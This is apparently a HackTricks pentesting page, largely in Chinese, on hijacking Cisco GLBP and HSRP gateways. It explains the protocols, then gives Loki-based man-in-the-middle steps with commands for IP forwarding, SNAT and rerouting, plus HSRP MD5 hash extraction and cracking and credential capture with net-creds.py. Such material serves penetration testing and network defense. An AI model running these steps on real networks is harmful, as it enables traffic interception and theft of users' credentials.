139 lines
6.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# GLBP & HSRP Attacks
{{#include ../../banners/hacktricks-training.md}}
## FHRP Hijacking Overview
### Insights into FHRP
FHRP旨在通过将多个路由器合并为一个虚拟单元来提供网络的鲁棒性从而增强负载分配和容错能力。思科系统公司在这一套协议中引入了GLBP和HSRP等重要协议。
### GLBP Protocol Insights
思科创建的GLBP在TCP/IP协议栈上运行使用UDP在3222端口进行通信。GLBP组中的路由器每3秒交换一次“hello”数据包。如果路由器在10秒内未发送这些数据包则被认为是离线的。然而这些定时器并不是固定的可以进行修改。
### GLBP Operations and Load Distribution
GLBP的特点是通过使用单个虚拟IP和多个虚拟MAC地址在路由器之间实现负载分配。在GLBP组中每个路由器都参与数据包转发。与HSRP/VRRP不同GLBP通过多种机制提供真正的负载均衡
- **Host-Dependent Load Balancing:** 为主机保持一致的AVF MAC地址分配这对稳定的NAT配置至关重要。
- **Round-Robin Load Balancing:** 默认方法在请求主机之间交替分配AVF MAC地址。
- **Weighted Round-Robin Load Balancing:** 根据预定义的“权重”指标分配负载。
### Key Components and Terminologies in GLBP
- **AVG (Active Virtual Gateway):** 主要路由器负责将MAC地址分配给对等路由器。
- **AVF (Active Virtual Forwarder):** 指定管理网络流量的路由器。
- **GLBP Priority:** 决定AVG的指标默认值为100范围在1到255之间。
- **GLBP Weight:** 反映路由器的当前负载,可以手动或通过对象跟踪进行调整。
- **GLBP Virtual IP Address:** 作为所有连接设备的网络默认网关。
对于交互GLBP使用保留的组播地址224.0.0.102和UDP端口3222。路由器每3秒发送一次“hello”数据包如果在10秒内错过一个数据包则被视为非操作状态。
### GLBP Attack Mechanism
攻击者可以通过发送优先级值最高255的GLBP数据包成为主路由器。这可能导致DoS或MITM攻击从而允许流量拦截或重定向。
### Executing a GLBP Attack with Loki
[Loki](https://github.com/raizo62/loki_on_kali)可以通过注入优先级和权重设置为255的数据包来执行GLBP攻击。攻击前的步骤包括使用Wireshark等工具收集虚拟IP地址、身份验证存在性和路由器优先级值等信息。
攻击步骤:
1. 切换到混杂模式并启用IP转发。
2. 确定目标路由器并获取其IP。
3. 生成一个无偿ARP。
4. 注入一个恶意GLBP数据包冒充AVG。
5. 为攻击者的网络接口分配一个次要IP地址镜像GLBP虚拟IP。
6. 实施SNAT以实现完整的流量可见性。
7. 调整路由以确保通过原始AVG路由器继续访问互联网。
通过遵循这些步骤,攻击者将自己定位为“中间人”,能够拦截和分析网络流量,包括未加密或敏感数据。
为了演示,以下是所需的命令片段:
```bash
# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
```
监控和拦截流量可以使用 net-creds.py 或类似工具来捕获和分析流经被攻陷网络的数据。
### HSRP 劫持的被动解释与命令细节
#### HSRP热备份路由器/冗余协议)概述
HSRP 是一种思科专有协议,旨在实现网络网关冗余。它允许将多个物理路由器配置为一个共享 IP 地址的单一逻辑单元。该逻辑单元由一个主要路由器管理,负责流量的引导。与使用优先级和权重进行负载均衡的 GLBP 不同HSRP 依赖于单个活动路由器进行流量管理。
#### HSRP 中的角色和术语
- **HSRP 活动路由器**:作为网关的设备,管理流量流动。
- **HSRP 备用路由器**:准备接管活动路由器故障时的备份路由器。
- **HSRP 组**:一组路由器协作形成一个单一的弹性虚拟路由器。
- **HSRP MAC 地址**:在 HSRP 设置中分配给逻辑路由器的虚拟 MAC 地址。
- **HSRP 虚拟 IP 地址**HSRP 组的虚拟 IP 地址,作为连接设备的默认网关。
#### HSRP 版本
HSRP 有两个版本HSRPv1 和 HSRPv2主要在组容量、多播 IP 使用和虚拟 MAC 地址结构上有所不同。该协议利用特定的多播 IP 地址进行服务信息交换,每 3 秒发送一次 Hello 数据包。如果在 10 秒内未收到数据包,则假定路由器处于非活动状态。
#### HSRP 攻击机制
HSRP 攻击涉及通过注入最大优先级值强行接管活动路由器的角色。这可能导致中间人MITM攻击。攻击前的基本步骤包括收集有关 HSRP 设置的数据,可以使用 Wireshark 进行流量分析。
#### 绕过 HSRP 身份验证的步骤
1. 将包含 HSRP 数据的网络流量保存为 .pcap 文件。
```shell
tcpdump -w hsrp_traffic.pcap
```
2. 使用 hsrp2john.py 从 .pcap 文件中提取 MD5 哈希。
```shell
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
```
3. 使用 John the Ripper 破解 MD5 哈希。
```shell
john --wordlist=mywordlist.txt hsrp_hashes
```
**使用 Loki 执行 HSRP 注入**
1. 启动 Loki 以识别 HSRP 广告。
2. 将网络接口设置为混杂模式并启用 IP 转发。
```shell
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
```
3. 使用 Loki 针对特定路由器,输入破解的 HSRP 密码,并执行必要的配置以冒充活动路由器。
4. 在获得活动路由器角色后,配置您的网络接口和 IP 表以拦截合法流量。
```shell
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
5. 修改路由表以通过前活动路由器路由流量。
```shell
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
```
6. 使用 net-creds.py 或类似工具从拦截的流量中捕获凭据。
```shell
sudo python2 net-creds.py -i eth0
```
执行这些步骤使攻击者能够拦截和操纵流量,类似于 GLBP 劫持的过程。这突显了 HSRP 等冗余协议的脆弱性以及对强大安全措施的需求。
## 参考文献
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
{{#include ../../banners/hacktricks-training.md}}